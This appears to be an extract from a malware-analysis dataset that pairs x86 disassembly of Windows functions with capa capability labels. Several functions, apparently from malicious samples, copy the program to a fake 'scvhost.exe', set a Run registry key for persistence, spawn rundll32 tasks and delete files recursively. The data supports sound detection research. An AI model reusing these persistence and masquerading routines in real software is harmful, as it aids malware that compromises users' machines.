joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4064f6
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0x4089dc
mov ebx, 0x45a240
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edi, dword [esp + 0x1c]
xor ebp, ebp
mov esi, 0x400
cmp edi, ebp
je 0x406544
push 1
push ebp
push edi
call fcn.00405a9e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x4066bf
cmp eax, esi
jg 0x4066bf
push esi
mov edi, 0x45f890
push edi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
cmp eax, ebp
je 0x4066bf
cmp eax, esi
jg 0x4066bf
push ebp
push ebp
push esi
push 0x45aa40
push 0xffffffffffffffff
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
call ebx
test eax, eax
je 0x4066bf
push ebp
push ebp
push esi
mov esi, 0x45b090
push esi
push 0xffffffffffffffff
push edi
push ebp
push ebp
call ebx
test eax, eax
je 0x4066bf
push esi
push 0x45aa40
push str._s_s_r_n
push 0x45b490
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov ebx, eax
mov eax, dword [0x47050c]
push dword [eax + 0x128]
push edi
call fcn.00406265
push 4
push 0xc0000000
push edi
call fcn.00405a9e
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
je 0x4066bf
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
cmp esi, ebp
je 0x4066b5
push ebp
lea eax, [esp + 0x14]
push eax
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4066b5
cmp edi, dword [esp + 0x10]
jne 0x4066b5
push str._Rename__r_n
push esi
call fcn.00405a04
cmp eax, ebp
jne 0x406648
push str._Rename__r_n
lea eax, [esi + edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x40667d
push 0x4089d0
add eax, 0xa
push eax
call fcn.00405a04
mov ebp, eax
test ebp, ebp
je 0x40667b
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
cmp ecx, ebp
jbe 0x406672
sub eax, ecx
mov dl, byte [ecx]
mov byte [eax + ecx], dl
dec ecx
cmp ecx, ebp
ja 0x406668
sub ebp, esi
lea eax, [ebp + 1]
xor ebp, ebp
jmp 0x40667f
xor ebp, ebp
mov eax, edi
push ebx
push 0x45b490
add eax, esi
push eax
call fcn.00405a5a
push ebp
push ebp
push ebp
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebp
lea eax, [esp + 0x14]
push eax
add edi, ebx
push edi
push esi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4066f8
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
mov ebx, dword [ebp + 8]
push ebx
call fcn.004061de
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
test cl, 8
je 0x40672d
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x4705c8], eax
jmp 0x4068d2
mov dword [ebp + 8], ecx
and dword [ebp + 8], 1
push esi
je 0x406748
test eax, eax
je 0x40687d
test cl, 2
je 0x40687d
push edi
push ebx
mov esi, 0x45b890
push esi
call fcn.00405c57
cmp dword [ebp + 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x40676b
push str..
push esi
call edi
jmp 0x406771
push ebx
call fcn.004061b1
cmp word [ebx], 0
jne 0x406781
cmp word [0x45b890], 0x5c
jne 0x406789
push 0x4082d0
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebx + eax*2]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40686c
lea esi, [ebp - 0x230]
push 0x3f
mov eax, esi
push eax
call fcn.00405954
xor edi, edi
cmp word [eax], di
je 0x4067d0
cmp word [ebp - 0x28], di
je 0x4067d0
lea esi, [ebp - 0x28]
cmp word [esi], 0x2e
jne 0x4067ea
movzx eax, word [esi + 2]
cmp ax, di
je 0x406849
cmp eax, 0x2e
jne 0x4067ea
cmp word [esi + 4], di
je 0x406849
push esi
push dword [ebp - 4]
call fcn.00405c57
test byte [ebp - 0x25c], 0x10
je 0x406811
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x406849
push dword [ebp + 0xc]
push ebx
call fcn.004066f8
jmp 0x406849
push ebx
call fcn.00405a7e
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x406841
test byte [ebp + 0xc], 4
je 0x406839
push ebx
push 0xfffffffffffffff1
call fcn.00404c14
push edi
push ebx
call fcn.004066c5
jmp 0x406849
inc dword [0x4705c8]
jmp 0x406849
push ebx
push 0xfffffffffffffff2
call fcn.00404c14
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4067b0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40686e
xor edi, edi
cmp dword [ebp + 8], edi
pop edi
je 0x40687d
mov ecx, dword [ebp - 4]
xor eax, eax
mov word [ecx - 2], ax
xor esi, esi
cmp dword [ebp + 8], esi
je 0x4068d1
cmp dword [ebp - 0xc], esi
je 0x4068c1
push ebx
call fcn.00405d35
test eax, eax
je 0x4068d1
push ebx
call fcn.00406182
push ebx
call fcn.00405a7e
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x4068c9
test byte [ebp + 0xc], 4
je 0x4068c1
push ebx
push 0xfffffffffffffff1
call fcn.00404c14
push esi
push ebx
call fcn.004066c5
jmp 0x4068d1
inc dword [0x4705c8]
jmp 0x4068d1
push ebx
push 0xffffffffffffffe5
call fcn.00404c14
pop esi
pop ebx
leave
ret 8
Function at 0x406c70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x460094], 0
jne 0x406cae
xor ecx, ecx
push esi
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
movzx edx, dl
neg edx
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406c84
mov dword [ecx*4 + 0x460090], eax
inc ecx
cmp ecx, 0x100
jl 0x406c7f
pop esi
cmp dword [ebp + 0x10], 0
mov eax, dword [ebp + 8]
not eax
jbe 0x406cdb
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
dec dword [ebp + 0x10]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x460090]
inc ecx
cmp dword [ebp + 0x10], 0
ja 0x406cbc
not eax
pop ebp
ret 0xc
Function at 0x401790
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00402540
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00402540
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4017f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40505c]
test esi, esi
jle 0x401910
mov eax, dword [0x405060]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401824
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4018a7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401810
mov dword [esp], ebx
call fcn.00402170
mov edi, eax
test eax, eax
je 0x401937
mov eax, dword [0x405060]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.004022b0
mov edx, dword [0x405060]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401917
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4018a0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x4018b0
add dword [0x40505c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x405060]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4018a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401790
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40182e
mov eax, dword [0x405060]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401790
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401790
lea esi, [esi]
nop
Function at 0x401df0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405070]
sub esp, 4
test ebx, ebx
je 0x401e45
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401e3e
test esi, esi
je 0x401e3e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e20
mov dword [esp], 0x405078
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402170
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402195
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4021a0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402195
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4021e8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4021de
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4021ea
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4021d0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x1005e40
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
xor eax, eax
cmp byte [ecx], al
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
je 0x1005e76
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
jne 0x1005e7a
xor eax, eax
jmp 0x1005e90
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
push 0x400
push dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
leave
ret 4

Function at 0x10070a8
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
shr eax, 2
test eax, eax
push edi
mov edi, dword [esp + 0x14]
jle 0x10070e3
push ebx
movzx edx, byte [ecx]
xor ebx, ebx
inc ecx
mov bh, byte [ecx]
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or edx, ebx
inc ecx
xor edi, edx
dec eax
jne 0x10070c0
pop ebx
and esi, 3
xor eax, eax
dec esi
je 0x10070ff
dec esi
je 0x10070f8
dec esi
jne 0x1007104
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor edx, edx
mov dh, byte [ecx]
or eax, edx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
xor eax, edi
pop edi
pop esi
ret 0xc
Function at 0x4d94c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x84000]
push edi
jmp 0x4d94da
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4d94e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d94d0
mov eax, 1
add ebx, ebx
jne 0x4d94f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4d9504
jne 0x4d9523
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d9523
dec eax
add ebx, ebx
jne 0x4d9510
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4d94e8
add ebx, ebx
jne 0x4d951f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4d9575
xor ecx, ecx
sub eax, 3
jb 0x4d953b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4d95aa
sar eax, 1
mov ebp, eax
jmp 0x4d9546
add ebx, ebx
jne 0x4d9546
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d9514
inc ecx
add ebx, ebx
jne 0x4d9554
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4d9514
add ebx, ebx
jne 0x4d9561
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4d9556
jne 0x4d9572
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4d9556
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4d9594
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4d9586
jmp 0x4d94d6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4d9594
add edi, ecx
jmp 0x4d94d6
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4d95b2
cmp byte [edi], 0x11
jne 0x4d95b2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4d95b7
lea edi, [esi + 0xd2000]
mov eax, dword [edi]
or eax, eax
je 0x4d962f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd9848]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd99c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4d95e4
mov ecx, edi
jns 0x4d9613
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd99c8]
or eax, eax
je 0x4d9629
mov dword [ebx], eax
add ebx, 4
jmp 0x4d9601
call dword [esi + 0xd99d8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4d9660
cmp al, 0xef
ja 0x4d9653
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4d9635
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4d9642
mov ebp, dword [esi + 0xd99cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4d9694
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x10002070
Capabilities:
Get file size

Disassembly:
sub esp, 0x18
push esi
push edi
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [edi + 0x18]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100020b0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10002140
pop edi
pop esi
add esp, 0x18
ret 4
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000d510]
lea edx, [esp + 8]
push 4
lea eax, [esp + 0x15]
push edx
push eax
mov byte [esp + 0x1c], 0xdd
call fcn.100070d0
lea ecx, [esp + 0xc]
push 4
lea edx, [esp + 0x19]
push ecx
mov ecx, dword [0x1000d510]
push edx
call fcn.100070d0
mov ecx, dword [0x1000d510]
push 4
lea eax, [esp + 0x1d]
push 0x1000d514
push eax
call fcn.100070d0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push 0xd
push ecx
mov ecx, edi
call fcn.10006470
pop edi
pop esi
add esp, 0x18
ret 4
Function at 0x10003060
Capabilities:
Get common file path

Disassembly:
push ecx
xor eax, eax
push edi
push eax
mov ecx, 0x41
mov edi, 0x1000db50
push 0x1a
push 0x1000db50
push eax
rep stosd dword es:[edi], eax
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [0x1000d510]
lea eax, [esp + 6]
push eax
push 0x1000db50
call fcn.10007100
mov ecx, dword [esp + 0xc]
push ecx
mov ecx, dword [0x1000d510]
push 0x1000db50
call fcn.10007100
pop edi
pop ecx
ret

Function at 0x10003160
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ecx
mov al, byte [0x1000c94c]
push esi
mov byte [esp + 4], al
mov eax, dword [0x1000dc58]
xor esi, esi
test eax, eax
jne 0x1000325b
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10003060
add esp, 4
push 0x1000db50
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100031ab
push 0x7c
push 0x1000db50
call fcn.10002f80
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x1000db50
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000db48], eax
jne 0x100031d7
xor eax, eax
pop esi
pop ecx
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1000d740], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1000d740]
push 0
push 0x1000db44
push edx
mov dword [0x1000dc54], eax
push eax
mov eax, dword [0x1000db48]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x1000db48]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1000d740]
mov eax, dword [0x1000dc54]
push edx
push eax
call fcn.100030c0
mov ecx, dword [0x1000dc54]
push ecx
call fcn.100064e0
add esp, 0xc
mov dword [0x1000db4c], eax
test eax, eax
jne 0x1000324f
pop esi
pop ecx
ret
mov dword [0x1000dc58], 1
jmp 0x10003260
mov eax, dword [0x1000db4c]
mov edx, dword [esp + 0x10]
push edx
push eax
call fcn.10006960
add esp, 8
test eax, eax
je 0x10003296
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 4]
push ecx
mov ecx, dword [0x1000c268]
push str.127.0.0.1
push edx
push 0
push ecx
push 0x1000dc64
call eax
add esp, 0x18
mov esi, eax
mov eax, esi
pop esi
pop ecx
ret

Function at 0x100033e0
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [0x1000de68]
sub esp, 0x208
lea eax, [esp]
push 0x104
push eax
push ecx
call dword [0x1000de9c]
mov eax, dword [esp + 0x20c]
test eax, eax
je 0x10003426
lea edx, [esp]
push eax
push edx
lea eax, [esp + 0x10c]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000df08]
add esp, 0x10
jmp 0x10003441
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push str.Rundll32___s__Uninstall
push edx
call dword [0x1000df08]
add esp, 0xc
lea eax, [esp + 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000e0e8], 1
add esp, 0x208
ret
Function at 0x100036f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
push 0x170
lea eax, [esp + 0x17c]
push ebx
push eax
call dword [0x1000df88]
mov ecx, 0x59
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0x284]
stosw word es:[edi], ax
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000375c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov eax, dword [esp + 0x2f0]
lea edx, [esp + 0xc]
push 0
add eax, 0xfffffe90
push edx
add ebx, 0x170
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000378c
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [0x1000deac]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100037cb
lea ecx, [esp + 0x180]
lea edx, [esp + 0x284]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s__s
push eax
call dword [0x1000df08]
add esp, 0x10
jmp 0x100037de
lea ecx, [esp + 0x284]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10003817
dec eax
je 0x1000380e
sub eax, 2
jne 0x10003826
lea eax, [esp + 0x10]
push eax
call fcn.100033e0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea ecx, [esp + 0x10]
push 0
push ecx
jmp 0x1000381e
lea edx, [esp + 0x10]
push 5
push edx
call fcn.10003470
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret

Function at 0x10003d40
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10003dec
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret
Function at 0x10004ac0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10004b03
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x10004b2e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push 0x80000000
call ebp
test eax, eax
je 0x10004bab
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1000c5e8
push edx
call esi
add esp, 8
test eax, eax
jne 0x10004c28
lea eax, [esp + 0x6c]
push 0x1000c5e4
push eax
call esi
add esp, 8
test eax, eax
jne 0x10004c28
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1000c5e0
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10004c37
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x10004c5f
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret